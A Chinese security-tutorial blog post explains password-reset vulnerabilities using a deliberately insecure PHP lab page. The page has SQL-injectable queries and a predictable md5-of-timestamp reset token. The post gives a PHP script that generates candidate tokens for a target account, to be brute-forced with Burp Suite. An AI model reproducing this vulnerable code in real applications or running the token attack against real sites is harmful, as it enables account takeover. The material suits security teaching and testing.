首页 > 技术文章 > 第十二节 密码找回漏洞利用

EndlessShw 2021-08-05 17:28 原文

1. 定义

  为了防止用户遗忘密码,大多数网站都提供了找回密码功能。常见的找回密码方式有:邮箱找回密码、根据密码保护问题找回密码、根据手机号码找回密码等。虽然这些方式都可以找回密码,但实现方式各不相同。无论是哪种密码找回方式,在找回密码时,除了自己的用户密码,如果还能找回其他用户的密码,就存在密码找回漏洞。

  密码找回漏洞在逻辑漏洞中占了较大的比例。测试密码找回漏洞与其他逻辑漏洞的方法相同,其中必经的两个步骤是:熟悉业务流程(密码找回过程)与对流程中的HTTP请求分析。

 

2. 例子

<?php
include 'init.php';


function create_pass($username,$email){
    $token=md5(time().$username.$email);
    return $token;
}



echo ' <meta charset="UTF-8">';

if($_GET['c']=='forget'){
    
    $username= trim($_POST['username']);
    
    $re=mysql_query("select * from member where username='{$username}'");
    
    $row = mysql_fetch_array($re);
    
    $_email = $row['email'];

    if($row){
        
        echo "<form method='post' action='?c=email'>";
        echo "用户{$row['username']}存在  请输入用户的邮箱";
        echo "<input type='text' name='email'/>";
        echo "<input type='hidden' name='username' value='{$row['username']}'/>";
        echo "<input type='submit' value='发送key'/></form>";
    
    }
    
    
    
    
}



if($_GET['c']=='email'){
    $username= trim($_POST['username']);
    $re=mysql_query("select * from member where username='{$username}'");
    $row = mysql_fetch_array($re);
    
    $email= trim($_POST['email']);
    
    if($email == $row['email']){
        $token=create_pass($row['username'],$row['email']);
        mysql_query("update member set token='{$token}' where id='{$row['id']}'");
        echo "密码已发送到邮件,请登录邮箱修改密码";
        
        
    }else{
        echo "邮箱错误 请填写对应的邮箱";
    }
    
    
    
}


if($_GET['c']=='send'){
    
    $token = trim($_GET['token']);
    
    $re = mysql_query("select * from member where token='{$token}'");
    $row = mysql_fetch_array($re);
    if($row){

        echo "<form method='post' action='?c=pass'>";
        echo "输入你要修改的密码 ";
        echo "<input type='text' name='password'/>";
        echo "<input type='hidden' name='token' value='{$token}'/>";
        echo "<input type='submit' value='修改密码'>";
        
    }
    
    
}


if($_GET['c']=='pass'){
    $token = $_POST['token'];
    $password =md5(trim($_POST['password']));
    $re = mysql_query("update member set password ='{$password}' where token = '{$token}'");
    
    if($re){
        echo "修改成功";
    }else{
        echo "修改失败";
        
    }
    
}


if($_GET['c']=='login'){
    
    echo '<form method="post" action="?c=main">';
    echo '用户 <input type="text" name="username"><br>';
    echo '密码 <input type="password" name="password"><br>';
    echo '<input type="submit" value="登录">';
    echo '</form>';
    
    
}


if($_GET['c']=='main'){
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $re = mysql_query("select * from member where username='{$username}' and password='{$password}'");
    $row = mysql_fetch_array($re);
    if($row){
        echo "{$row['username']} 登录成功";
    }else{
            echo "帐号或密码失败";
        }
    
    
    
    
}

if(empty($_GET['c'])){

echo '<form method="post" action="?c=forget">';
echo '<label>请输入你要查询的用户</label>';
echo '<input type="text" name="username">';
echo '<input type="submit" value="找回密码">';
echo '</form>';

}
?>

 

  需要更改用户是admin  moon@moonsec.com 发邮件 邮件就有

  http://www.webtester.com/forget.php?c=send&token=5f40ea6af1d051a41bbfd307b75b5c08

 

  主要看这个函数是否可以预测,这是生成token的代码:

 

 1  function create_pass($username,$email){
 4 $token=md5(time().$username.$email);
 7 return $token;
10 }

  这里利用的是时间戳,https://tool.lu/timestamp/,用该工具进行转换

  我们在提交key的之前 生成一分钟或者一个小时以内的token 用脚本去访问每一个链接

  脚本:

<?php

function create_pass($username,$email){
    $token=md5(time().$username.$email);
    return $token;
}

for($i=1;$i<=3600;$i++){
    $timex= create_pass('admin','moon@moonsec.com');
    write_file($timex."\n");
    echo $i."\r\n";
    sleep(1);
    
}

function write_file($c){
    fwrite(fopen("time.txt", "a+"),$c);
}
?>

 

  php里面运行脚本D:\phpStudy\php\php-5.2.17>php time.php,提交admin moon@moonsec.com邮箱 发送key,最后导入文件,用burpsuite爆破即可(注意靶机和主机的时区

 

推荐阅读